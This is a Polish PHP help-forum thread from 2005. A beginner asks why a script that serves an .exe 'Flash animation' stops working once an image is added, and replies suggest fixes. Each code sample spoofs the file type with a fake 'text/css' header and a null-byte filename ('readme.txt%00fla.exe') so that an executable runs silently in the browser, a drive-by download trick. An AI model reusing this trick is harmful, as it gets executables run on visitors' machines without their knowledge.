ďťż
Podstrony
|
telcocafeOd razu mówię, że w PHP dopiero zaczynam robić cokolwiek i napotkałem na pewien problem. Otóż mam taki skrypt który ładuje mi animację flasha w formacie exe:<?php Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?> <noscript> chciałbym teraz dołożyć do niego jakiś obrazek, żeby strona nie była pusta, więc wstawiam coś takiego: Header("Content-Type: image/gif"); $img = imagecreatefromgif('welcome.gif'); imagegif($img); powstaje coś takiego: <?php Header("Content-Type: image/gif"); $img = imagecreatefromgif('welcome.gif'); imagegif($img); Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?> <noscript> Kiedy w pliku php mam sam kod odpowiedzialny za uruchomienie prezentacji wszystko jest ok, ale kiedy dołożę wyświetlanie obrazka skrypt się nie wykonuje, jest pokazany obrazek, ale animacja nie startuje :huh: Może dla Was to jest banalne, ale dla mnie PHP to jeszcze czarna magia, to mnie nie skrzyczcie :) Użytkownik mtek edytował ten post 26 listopad 2005, 10:28 Hmm, tak się zastanawiam, że chyba nie można dać dwóch Content-Type dla jednego pliku. Przeglądarka traktuje za ważny ten pierwszy. Udało mi się obejść trochę ten problem :) Zrobiłem stronę złożoną z dwóch ramek, w górnej ustawiłem obrazek, a w dolnej wstawiłem plik php z tym skryptem do uruchamiania animacji i jaknarazie działa :) Jeszcze próbowałem zrobić coś takiego w jednym pliku php tak jak zamierzałem na początku (bez kombinowania tak jak wyżej z ramkami) w taki sposób: echo ("<img src="ble.gif"></img>"); ale też nie poszło :unsure: A nie lepiej tak: <img src="xxx.gif" /> <?php Header("Content-type: text/css"); Header("Content-Disposition: inline; filename=readme.txt%00fla.exe"); readfile("fla.exe"); ?> ? :) ...ale to jest to samo, co bym zrobił z echo <_< Użytkownik virus_jc edytował ten post 26 listopad 2005, 13:43 |
|||
Sitedesign by AltusUmbrae. |